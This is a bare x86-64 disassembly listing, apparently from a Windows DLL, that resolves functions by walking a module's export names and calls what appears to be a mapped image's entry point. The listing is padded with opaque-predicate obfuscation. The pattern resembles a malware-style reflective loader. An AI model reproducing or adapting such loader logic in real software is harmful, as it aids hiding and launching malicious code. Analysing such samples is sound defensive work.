mov r10d, dword [r9 + rcx + 0x24]
add rdx, r9
add r10, r9
mov edi, dword [rdx]
add rdi, r9
mov rax, qword [rbp - 0x28]
movzx ebx, byte [rax]
movzx ecx, byte [rdi]
test bl, bl
je 0x180002368
add rax, 1
add rdi, 1
cmp bl, cl
je 0x180002352
cmp bl, cl
je 0x180002376
add rdx, 4
add r10, 2
jmp 0x180002349
movzx eax, word [r10]
mov eax, dword [r8 + rax*4]
add r9, rax
sub rsp, 0x20
mov rcx, r15
mov rdx, qword [rbp - 0x20]
call r9
add rsp, 0x20
mov qword [rsi], rax
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea ebx, [rcx - 1]
imul ebx, ecx
cmp eax, 0xa
jl 0x180002295
mov edx, ebx
and edx, 1
je 0x180002295
jmp 0x180002400
mov rbx, qword [rbp - 0x10]
mov edi, dword [rbx + 0x20]
add rbx, 0x14
mov qword [rbp - 0x10], rbx
test edi, edi
jne 0x1800020af
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
test dl, 1
jne 0x180002406
cmp eax, 0xa
jl 0x180002464
test ebx, ebx
jne 0x18000249e
jmp 0x180002464
jmp 0x1800023f2
jmp 0x1800023f4
jmp 0x1800023f6
jmp 0x1800023f8
jmp 0x1800023fa
jmp 0x1800023fc
jmp 0x1800023fe
jmp 0x180002400
jmp 0x180002402
jmp 0x180002404
cmp eax, 0xa
jl 0x18000240f
test ebx, ebx
jne 0x18000243d
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
cmp dword [0x180020a6c], 0xa
jl 0x180002453
mov eax, dword [0x180020a70]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
je 0x180002453
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x18000240f
lea rsp, [rbp + 8]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
mov ecx, dword [0x180020a70]
mov eax, dword [0x180020a6c]
lea ebx, [rcx - 1]
imul ebx, ecx
and ebx, 1
cmp eax, 0xa
jl 0x180002406
test ebx, ebx
je 0x180002406
mov rax, qword [rbp]
mov eax, dword [rax + 0x28]
add rax, r12
sub rsp, 0x20
call rax
add rsp, 0x20
jmp 0x180002464